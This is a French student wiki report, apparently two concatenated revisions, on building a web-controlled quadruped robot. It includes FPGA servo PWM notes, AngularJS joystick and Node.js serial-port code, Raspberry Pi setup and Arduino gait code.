* 12 micro servos moteurs pour le mouvement des pattes , soit 3 servos-moteurs par patte .
* Un module wifi pour la raspberry Pi.
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.
* Une breadboard pour tester les circuits .
* Un câble nappe pour raspberry pi .

La liste réalisée est provisoire et pourra subir de légers changement avant le début du projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .

== Séance 1 ==

=== Partie électronique ===
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’étendra pas sur les 3 séances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.

Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionner notre moteur grâce au FPGA.

Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.

[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]

Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire pour aller à 0 degré, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire jusque 180 degrés, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.

Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.

Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant "dire" au FPGA que quand notre compteur arrive a 200, il doit passer la valeur de sortie à 1. Celle ci reste à 1 jusqu'a la valeur choisie du compteur en fonction de l'angle que nous souhaitons puis la valeur de sortie passe à 0 jusqu'à ce que le compteur atteigne 200.

[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]

Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.

[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]

Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.

<center><include iframe src="https://www.youtube.com/embed/g1hDQJHcsJw" width="320px" height="320px" frameborder="0" scrolling="yes"/></center>

=== Partie informatique ===

Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.

Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.

Nous utilisons donc 2 événements :
* lors d'un clic : une variable est mise à jour "mouseIsDown" pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0).
* lors d'un mouvement de la souris si "mouseIsDown" est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.

La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100.
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).

main.js : (définition de l'application et de ses dépendances)

angular.module('spiderApp')
.controller('MainCtrl', function () {
this.awesomeThings = [
'HTML5 Boilerplate',
'AngularJS',
'Karma'
];
});

deplacement.js : (fonctionnement dynamique du joystick de la page web)

angular.module('spiderApp').controller('deplacementCtrl', function($scope) {
$scope.positionX=200;
$scope.positionY=200;
$scope.mouseIsDown=false;
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "absolute",
"height" : "100px"
};
var socket = io.connect('http://172.26.79.4:8080');
$scope.clickDown = function(event){
if($scope.mouseIsDown==false)
{
$scope.mouseIsDown = true;
$scope.positionX = event.target.offsetLeft+(event.offsetX-50);
$scope.positionY = event.target.offsetTop+(event.offsetY-50);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
else
{
$scope.mouseIsDown = false;
$scope.positionX = 200;
$scope.positionY = 200;
console.log($scope.mouseIsDown);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
};
$scope.moveJoystickOutside = function(event) {
if ($scope.mouseIsDown == true) {
window.setTimeout(function() {
ecartX=parseInt(getComputedStyle(joystick).left, 10);
ecartY=parseInt(getComputedStyle(joystick).top, 10);
//on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image
//+20 en Y à cause du footer qui sera toujours de taille constante
positionXProvisoire = event.clientX - ecartX -250;
positionYProvisoire = -(event.clientY - ecartY-330);
console.log("posi prov X: "+positionXProvisoire);
console.log("posi prov Y: "+positionYProvisoire);
//partie dans le cercle
if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) >= 0 && Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) < 1)
{
//50=moitié de la dimension de l'image du bouton avec l'araignée.
//a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.
$scope.positionX=event.clientX-ecartX-50;
$scope.positionY=event.clientY-ecartY-130;
console.log("posi X: "+$scope.positionX);
console.log("posi Y: "+$scope.positionY);
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//partie en dehors du cercle
else
{
hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));
angle=Math.acos(positionXProvisoire/hypothenuse);
if(-(event.clientY - ecartY-330)<0)
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((Math.sin(angle)*100)+200);
}
else
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((-Math.sin(angle)*100)+200);
}
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//attendre un peu pour ne pas embrouiller la transmition du signal
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
}, 10);//delay en millisecondes
}
};
});

Voici le rendu de l'application web, que nous trouvons à l'adresse 172.26.79.4 (Adresse IP d'un ordinateur de la salle de projet) sur le port 8080 :

[[Fichier:AppliWeb.jpg]]

== Séance 2 ==

=== Partie mécanique ===

Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances.

- Réalisation des pièces nécessaires à la construction de l'araignée :

Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad :

[[Image:Femur.jpg|vignette|center|upright=3.4|alt=Femur|Femur]]

[[Image:Coxa.jpg|vignette|center|upright=3.4|alt=Coxa|Coxa]]

[[Image:Coxa_renforce.jpg|vignette|center|upright=3.4|alt=Coxa renforce|coxa renfoce]]

[[Image:Tibia_sc.jpg|vignette|center|upright=3.4|alt=Tibia|Tibia]]

Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces.
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.

=== Partie informatique ===

Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module "serial-port" de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série.
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.

server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)

var express = require('express');
var app = express();
var server = require('http').Server(app);
var io = require('socket.io')(server);
var SerialPort = require("serialport");
var port = new SerialPort("/dev/ttyUSB1",{baudRate: 115200, parity : 'none', autoOpen :false});
app.use(express.static(__dirname+"/../.."));
app.use(express.static(__dirname+"/../../../bower_components/"));
port.open(function (error){
if(error)
{
console.log('Error while opening the port ' + error);
}
else
{
io.on('connection', function(socket) {
console.log('new connection');
socket.on('message', function (message) {
port.write(message, function(err) {
if (err) {
return console.log('Error on write: ', err.message);
}
else
{
console.log('Position : ' + message);
}
});
});
});
}
});
server.listen(8080, function() {
console.log('server up and running at 8080 port');
});

== Séance 3 ==

=== Partie électronique ===

=== Partie informatique ===

envoi des données sur le port série

Configuration de la Raspberry :

- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34
La Raspberry peut ainsi communiquer avec le réseau Polytech

- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry

- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.

=== Partie mécanique ===

''Assemblage des pièces''' :

Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.
Nous avons alors, pour chaque patte :

- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre

Voici le rendu des pattes assemblées :

[[Fichier:Pattes.jpg]]

Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).

[[Fichier:Percage.jpg]]

La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.

== Séance supplémentaire 1 ==

=== Partie électronique ===

La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board.

Voici une photo du rendu de l'araignée câblée :

[[Fichier:Araignée.jpg]]

=== Partie informatique ===

C'est lors de cette séance supplémentaire que nous avons mis en place le code arduino permettant à notre quadripode d'avancer. Nous étions partis à la base sur un système de déplacement par poussée de deux pates opposées en même temps. Cependant, l'araignée était trop instable et tombait souvent. Les tentatives de compensations du poid du quadripode ont rendus le code trop lourd et nous avons donc décidés de changer sa façon d'avancer. Nous avons donc analysés une vidéo d'une mygale qui avance et avons ensuite compris le mécanisme de déplacement des araignés.
Le code réalisé est donc le suivant:

int delai=300;
//val AD

int ADepauleArriere=100;
int ADepauleAvant=40;
int ADcoudeBas=100;//50
int ADcoudeDroit=30;//100
int ADpoignetPerpendiculaire=70;
int ADpoignetDroit=90;

//val ARG
int ARGepauleArriere=20;
int ARGepauleAvant=80;
int ARGcoudeBas=80;
int ARGcoudeDroit=140;
int ARGpoignetPerpendiculaire=60;
int ARGpoignetDroit=40;

//VAL AG
int AGepauleArriere=40;
int AGepauleAvant=100;
int AGcoudeBas=110;
int AGcoudeDroit=30;//haut
int AGpoignetPerpendiculaire=90;
int AGpoignetDroit=40;
//VAL ARD
int ARDepauleArriere=70;
int ARDepauleAvant=30;
int ARDcoudeBas=100;
int ARDcoudeDroit=30;//haut
int ARDpoignetPerpendiculaire=140;
int ARDpoignetDroit=180;
int i;
int j;

void setup() {
servoADepaule.attach(2);

servoADcoude.attach(3);

servoADpoignet.attach(4);
servoADpoignet.write(ADpoignetPerpendiculaire);
servoADepaule.write(ADepauleAvant);
servoADcoude.write(ADcoudeBas);
servoARGepaule.attach(5);
servoARGcoude.attach(6);
servoARGpoignet.attach(7);
servoARGpoignet.write(ARGpoignetPerpendiculaire);
servoARGepaule.write(ARGepauleArriere);
servoARGcoude.write(ARGcoudeBas);
servoAGepaule.attach(8);
servoAGcoude.attach(9);
servoAGpoignet.attach(10);
servoAGpoignet.write(AGpoignetPerpendiculaire);
servoAGepaule.write(AGepauleAvant);
servoAGcoude.write(AGcoudeBas);
servoARDepaule.attach(11);
servoARDcoude.attach(12);
servoARDpoignet.attach(13);
servoARDpoignet.write(ARDpoignetPerpendiculaire);
servoARDepaule.write(ARDepauleArriere);
servoARDcoude.write(ARDcoudeBas);
}

void loop() {
servoARDepaule.write(ARDepauleAvant+j);
servoAGepaule.write(AGepauleAvant-j);
servoARGepaule.write(ARGepauleAvant-i);
servoADepaule.write(ADepauleAvant+i);
delay(20);
if(j==50)
{
//on remet en avant AG et ARD
servoAGcoude.write(AGcoudeDroit);
delay(200);
servoAGepaule.write(AGepauleAvant);
delay(200);
servoAGcoude.write(AGcoudeBas);
delay(200);
servoARDcoude.write(ARDcoudeDroit);
delay(200);
servoARDepaule.write(ARDepauleAvant);
delay(200);
servoARDcoude.write(ARDcoudeBas);
delay(200);
j=0;
}
if(i==50)
{
//on remet en avant AD et ARG
servoADcoude.write(ADcoudeDroit);
delay(200);
servoADepaule.write(ADepauleAvant);
delay(200);
servoADcoude.write(ADcoudeBas);
delay(200);
servoARGcoude.write(ARGcoudeDroit);
delay(200);
servoARGepaule.write(ARGepauleAvant);
delay(200);
servoARGcoude.write(ARGcoudeBas);
delay(200);
i=0;
}
i=i+5;
j=j+5;
}

Ce code permet à l'araignée d'avancer ses pates de façon "asynchrone". Il s'agit en réalité juste d'une impression car l'asynchronisme est impossible sous arduino. En effet, nous envoyons de très courts signaux de déplacement aux différents servos moteurs à la suite, donnant une impression d'asynchronisme.
Voici le lien du rendu final du déplacement:

[https://www.youtube.com/watch?v=N7QEBWDCz9Q&feature=youtu.be| Déplacement quadripode]

Une fois que l'araignée avançait, nous avons dû mettre en place le contôle de celle-ci par le biais des informations envoyés par websocket. Dans notre cas,
le joystick envoi deux valeurs séparés par une virgule, la première correspondant à la composante en x et la seconde à la composante en y. Ainsi, nous stockons un à un les caractères reçu sur le port série de l'arduino jusqu'à tomber sur le séparateur. Nous stockons alors la valeur décimale des chiffres lus dans une variable. Il en est de même pour le nombre à droite du séparateur. Le code dans le setup() et dans le loop() devient donc :

int a;
int b;
int aPrint;
int bPrint;
int aMoins,bMoins;
int debut;
char firstVal[50];
char secVal[50];
char byteBuffer;

void setup() {
servoADepaule.attach(2);

servoADcoude.attach(3);

servoADpoignet.attach(4);
servoADpoignet.write(ADpoignetPerpendiculaire);
servoADepaule.write(ADepauleAvant);
servoADcoude.write(ADcoudeBas);
servoARGepaule.attach(5);
servoARGcoude.attach(6);
servoARGpoignet.attach(7);
servoARGpoignet.write(ARGpoignetPerpendiculaire);
servoARGepaule.write(ARGepauleArriere);
servoARGcoude.write(ARGcoudeBas);
servoAGepaule.attach(8);
servoAGcoude.attach(9);
servoAGpoignet.attach(10);
servoAGpoignet.write(AGpoignetPerpendiculaire);
servoAGepaule.write(AGepauleAvant);
servoAGcoude.write(AGcoudeBas);
servoARDepaule.attach(11);
servoARDcoude.attach(12);
servoARDpoignet.attach(13);
servoARDpoignet.write(ARDpoignetPerpendiculaire);
servoARDepaule.write(ARDepauleArriere);
servoARDcoude.write(ARDcoudeBas);

delay(2000);
i=0;
j=25;
Serial.begin(115200);
a=0;
b=0;
aMoins=0;
bMoins=0;
i=0;
debut=1;
byteBuffer='a';
}

void loop() {
if(Serial.available() > 0)
{
while(Serial.available() > 0)
{
delay(10);
byteBuffer = Serial.read();
if(debut==1)
{
if(byteBuffer==',')
{
debut=0;
}
else
{
a=10*a;
switch(byteBuffer)
{
case '-':
a=0;
aMoins=1;
break;
case '1':
a=a+1;
break;
case '2':
a=a+2;
break;
case '3':
a=a+3;
break;
case '4':
a=a+4;
break;
case '5':
a=a+5;
break;
case '6':
a=a+6;
break;
case '7':
a=a+7;
break;
case '8':
a=a+8;
break;
case '9':
a=a+9;
break;
default:
break;
}
}
}
else
{
if(byteBuffer==';')
{
if(aMoins==1)
{
a=-a;
}
if(bMoins==1)
{
b=-b;
}
debut=1;
if(b>0)
{
servoARDepaule.write(ARDepauleAvant+j);
servoAGepaule.write(AGepauleAvant-j);
servoARGepaule.write(ARGepauleAvant-i);
servoADepaule.write(ADepauleAvant+i);
delay(20);
if(j==50)
{
//on remet en avant AG et ARD
servoAGcoude.write(AGcoudeDroit);
delay(200);
servoAGepaule.write(AGepauleAvant);
delay(200);
servoAGcoude.write(AGcoudeBas);
delay(200);

servoARDcoude.write(ARDcoudeDroit);
delay(200);
servoARDepaule.write(ARDepauleAvant);
delay(200);
servoARDcoude.write(ARDcoudeBas);
delay(200);
j=0;
}
if(i==50)
{
//on remet en avant AD et ARG
servoADcoude.write(ADcoudeDroit);
delay(200);
servoADepaule.write(ADepauleAvant);
delay(200);
servoADcoude.write(ADcoudeBas);
delay(200);

servoARGcoude.write(ARGcoudeDroit);
delay(200);
servoARGepaule.write(ARGepauleAvant);
delay(200);
servoARGcoude.write(ARGcoudeBas);
delay(200);
i=0;
}
i=i+5;
j=j+5;

}
aMoins=0;
bMoins=0;
}
else
{
b=10*b;
switch(byteBuffer)
{
case '-':
b=0;
bMoins=1;
break;
case '1':
b=b+1;
break;
case '2':
b=b+2;
break;
case '3':
b=b+3;
break;
case '4':
b=b+4;
break;
case '5':
b=b+5;
break;
case '6':
b=b+6;
break;
case '7':
b=b+7;
break;
case '8':
b=b+8;
break;
case '9':
b=b+9;
break;
default:
break;
}
}
}
}
}
}

== Conclusion ==

En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante.
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...
Voici le rendu vidéo de notre projet :

[https://www.youtube.com/watch?v=olmXs5BT4MU| Rendu vidéo final (Youtube)]

Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants. Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.

Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.

Projet IMA3 P1, 2016/2017, TD2

2017-06-14T15:07:09Z

Nmehanna : /* Conclusion */

= Projet IMA3-SC 2016/2017 : Robot quadripode =

== Cahier des charges ==

=== Description du système ===

Notre projet est de réaliser un robot quadripode contrôlé par notre interface web.
Celui ci aura pour objectif de :
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.

Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.

En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.

=== Le matériel ===

Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)
* 12 micro servos moteurs pour le mouvement des pattes , soit 3 servos-moteurs par patte .
* Un module wifi pour la raspberry Pi.
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.
* Une breadboard pour tester les circuits .
* Un câble nappe pour raspberry pi .

La liste réalisée est provisoire et pourra subir de légers changement avant le début du projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .

== Séance 1 ==

=== Partie électronique ===
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’étendra pas sur les 3 séances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.

Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionner notre moteur grâce au FPGA.

Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.

[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]

Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire pour aller à 0 degré, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire jusque 180 degrés, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.

Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.

Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant "dire" au FPGA que quand notre compteur arrive a 200, il doit passer la valeur de sortie à 1. Celle ci reste à 1 jusqu'a la valeur choisie du compteur en fonction de l'angle que nous souhaitons puis la valeur de sortie passe à 0 jusqu'à ce que le compteur atteigne 200.

[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]

Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.

[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]

Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.

<center><include iframe src="https://www.youtube.com/embed/g1hDQJHcsJw" width="320px" height="320px" frameborder="0" scrolling="yes"/></center>

=== Partie informatique ===

Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.

Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.

Nous utilisons donc 2 événements :
* lors d'un clic : une variable est mise à jour "mouseIsDown" pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0).
* lors d'un mouvement de la souris si "mouseIsDown" est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.

La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100.
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).

main.js : (définition de l'application et de ses dépendances)

angular.module('spiderApp')
.controller('MainCtrl', function () {
this.awesomeThings = [
'HTML5 Boilerplate',
'AngularJS',
'Karma'
];
});

deplacement.js : (fonctionnement dynamique du joystick de la page web)

angular.module('spiderApp').controller('deplacementCtrl', function($scope) {
$scope.positionX=200;
$scope.positionY=200;
$scope.mouseIsDown=false;
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
